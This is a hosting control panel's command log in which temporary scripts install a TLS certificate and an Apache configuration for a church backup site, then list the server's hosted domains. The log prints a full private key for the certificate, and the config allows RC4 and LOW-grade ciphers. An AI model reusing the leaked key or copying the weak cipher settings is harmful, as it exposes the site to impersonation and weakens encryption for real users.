SHqwTTDpDvifNRBq/qbPK6jEQU3fwLCFENtRUuC/t6uLDcIFkpToYtFBLMHwRxjv
TZsFnkAvTWv3ZsKXAYlNssI1/spJAe/vOybOfLFrMXZEmAu8Yy1/VTIm/FupH/v6
xWQTmYD4+W1yYC5dRlG6M2PhMOzgeppNv1ivJI4dMloX0aSYm+uCEB438H8+Bmd9
40r3qflRlNePKtqLIOWaLe9HKLdBZAcgMZ+r8tIS/dqJpst0eB47zfgNPs4Y6hyX
nRkUwxeR6sPkTikmY9mQdU4k3s//z0/G519+AXcCAwEAAaOCAiwwggIoMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUDn2Tu88sf9mRUsMp4woK+T+vN5EwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzc3LmNybDCCAQYGCisG
AQQB1nkCBAIEgfcEgfQA8gB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8z
E/X6AAABmyCYhiYAAAQDAEgwRgIhAJI81LwNM97nrCRMFroHGmh6KItTeCJNXQmQ
wMeQYAz6AiEA1B9fB4pZilG0Tg+n+XIRut/QVJseufejrXi5mqrRugcAdwCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZsgmIZgAAAEAwBIMEYCIQCQ
NoGa7GWqgymGYe4BSzhI1w65EvKb7P7mfAR6ndn3TQIhAMvxk9JrYnES6KH2/4xj
jWw9ZO8muartebhKzRXlbI6TMA0GCSqGSIb3DQEBCwUAA4IBAQA2/IL2mAbyTnug
Sxt88Fsb1ndnSO1OWs84eS5qxbDSZctjqQHUpBVXT/lcASc5zVMFG9SNcDslDDVc
ZPIORdhmfK4EPK5vC1Fdtj2mygn8MYIi+/4P7LyorTeblbhYTe3BLXA/8cA2N3w2
4RBtSl/LnR7TH9MJZiHYY9HseuDJfTVFdidj/yThts6ZmTNEuIh84IqfM60u6lar
nMTNRVvMWZcOhlY95zaPyKHE1V7k7qNmsvAFD7wAAUwOzhDKzT5fsAYJTfC4f0GC
wP+cVmWehEgrWtKBn9UWo8XABO9r/7QivbOt/uKoy0Uy+TdPURP2ZM2TwAzf6JNU
byeeQaOF
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCooTulBvxsdUfh
t3TXSYDGbNQvtUe0l7mKdO+1ivk2T2nJz0h6sE0w6Q74nzUQav6mzyuoxEFN38Cw
hRDbUVLgv7eriw3CBZKU6GLRQSzB8EcY702bBZ5AL01r92bClwGJTbLCNf7KSQHv
7zsmznyxazF2RJgLvGMtf1UyJvxbqR/7+sVkE5mA+PltcmAuXUZRujNj4TDs4Hqa
Tb9YrySOHTJaF9GkmJvrghAeN/B/PgZnfeNK96n5UZTXjyraiyDlmi3vRyi3QWQH
IDGfq/LSEv3aiabLdHgeO834DT7OGOocl50ZFMMXkerD5E4pJmPZkHVOJN7P/89P
xudffgF3AgMBAAECggEAIzpDlo8mDpZVpO7JZuxBDbLQhQLu7ug/Z5BUP22/8DuY
0wMNlivchFo7uW6xDDP97OUcrs4JAna672VtBxQvJyqF+T08a4r0e00sz6A49G74
u1nKsZbz317CYsq1WfNn68IilPXou2OTFwe4KLw8SmglVhqwVMtPQML4DlkcoR0V
8gRosu0tFfwI/pvzsGfpJfZkhCzeu6F3MoRb8UqMXcXvccZ2HtbBMZ4RXV2/rO0L
udzFktpuUEo2ZKKc1kmC/R4jfXvzJ2dhe7rvusOd8Ll9hcyfEZ8PcaSlui1h5HVn
X/2DhKHysbq//1rm+yNvwqg/H5QjY0WNUcHWq7N0KQKBgQDTLWuEs2lFiplnX1Uk
0nonAVXoOLwhh5/4YVGFJMq5RT9/fm5P3BkSyKiHn1Dp44A3dVl0FOYagafESYzd
n+jC5Hjd4JjgIlhp9YIC/z6qNCu+xm0zL5vi6+JEkmcP0hs43Wa1Gp++bCaR5B1f
X1YXXj/Jjm805sPoCgv0nqCQgwKBgQDMa/AA7Bdbs1ZVepp34QcDTmGEbmCF1zJI
S5RsggrekrNOJ1+wBM2LfDRe09jjl6IMOOgRWigNLp4T9yGhorP+oXd2sgDTOUvp
iY91OAIqfL4y4bwjdnvzGwzBC/z68xqMEShZ/tdPSEWjN5FpX9eJdJotr/q3s+0K
iCTirm0Q/QKBgA1Yu4jhhe+9OMDNx6XSH6JDdVh97XX5CmU6UVqm3qEi/UZjiTlG
4dbME8quiQCfPkVDB2pMv9ZBB4diVqLTLnTS18i+HytbQFdCCvuBgkZjkbg29kPb
6HBJFD3dOuJHFy1a4NjlW98/Gpjx3+FdNyW28TUd6W1ggFUz/VlyhRddAoGANL+Z
c7N4J4p0OaRkXZCsbZb5JOISeBbae7s89m7r/RjfucgBMftbSqXnIZ0Kt1e2Ue8R
OwEHmrcvxTkc7Yd9aLQjjnZKLjb3trBvWzDzpiEAN0L2eDQnsciGFv5P7jVy4TfA
MNDIoEWm6oH5PLaleGulKSriyCpefTw6QF//9sUCgYEAuX5MXkGiGqX864b/TyKa
FnvFlvuzlVgDxGdUTQ3m6db7TsTmf04fF6N2DKsKJQF5WTzBgLBQra90fKDzBueQ
fgxz1MpAVIfs4d7azln1p91x9ZmjTzRh1AO+5ip3lb5lrivx2lKWEOrv3Uwpgj8A
G0OXvpeEjfGNIrM3av1/pes=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-15 06:00:26: 

chmod 755 /tmp/pkp290244; /tmp/pkp290244; rm /tmp/pkp290244

2025-12-15 06:00:26: 


dir=/etc/ssl/certs


2025-12-15 06:00:26: 

PUT: /tmp/pkp713670

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-15 06:00:26: 

chmod 755 /tmp/pkp713670; /tmp/pkp713670; rm /tmp/pkp713670

2025-12-15 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf 50

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-15 06:00:26: 

PUT: /tmp/pkp433154

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_backup_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf= 1'
fi


2025-12-15 06:00:26: 

chmod 755 /tmp/pkp433154; /tmp/pkp433154; rm /tmp/pkp433154

2025-12-15 06:00:26: 




2025-12-15 06:00:26: 

PUT: /tmp/pkp896666

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-15 06:00:26: 

chmod 755 /tmp/pkp896666; /tmp/pkp896666; rm /tmp/pkp896666

2025-12-15 06:00:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:00:26: Establishing a connection
2025-12-15 06:00:26: 

PUT: /tmp/pkp354241

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-15 06:00:26: 

chmod 755 /tmp/pkp354241; /tmp/pkp354241; rm /tmp/pkp354241

2025-12-15 06:00:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-15 06:00:26: 

PUT: /tmp/pkp927751

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:00:26: 

chmod 755 /tmp/pkp927751; /tmp/pkp927751; rm /tmp/pkp927751

2025-12-15 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf	1700

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-15 06:00:26: 

PUT: /tmp/pkp426157

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-15 06:00:26: 

chmod 755 /tmp/pkp426157; /tmp/pkp426157; rm /tmp/pkp426157

2025-12-15 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt	5381
0e:14:8b:61:48:ec:da:d4:09:25:29:7b:c1:78:ae:a3

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBS7YK3EJBDrSldTWLr7PKZ1MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE1MDUwMTU1WhcNMjYwMzE1MDUwMTU0WjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKihO6UG/Gx1R+G3dNdJgMZs1C+1R7SXuYp077WK+TZPacnP
SHqwTTDpDvifNRBq/qbPK6jEQU3fwLCFENtRUuC/t6uLDcIFkpToYtFBLMHwRxjv
TZsFnkAvTWv3ZsKXAYlNssI1/spJAe/vOybOfLFrMXZEmAu8Yy1/VTIm/FupH/v6
xWQTmYD4+W1yYC5dRlG6M2PhMOzgeppNv1ivJI4dMloX0aSYm+uCEB438H8+Bmd9
40r3qflRlNePKtqLIOWaLe9HKLdBZAcgMZ+r8tIS/dqJpst0eB47zfgNPs4Y6hyX
nRkUwxeR6sPkTikmY9mQdU4k3s//z0/G519+AXcCAwEAAaOCAiwwggIoMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUDn2Tu88sf9mRUsMp4woK+T+vN5EwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpiYWNrdXAu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
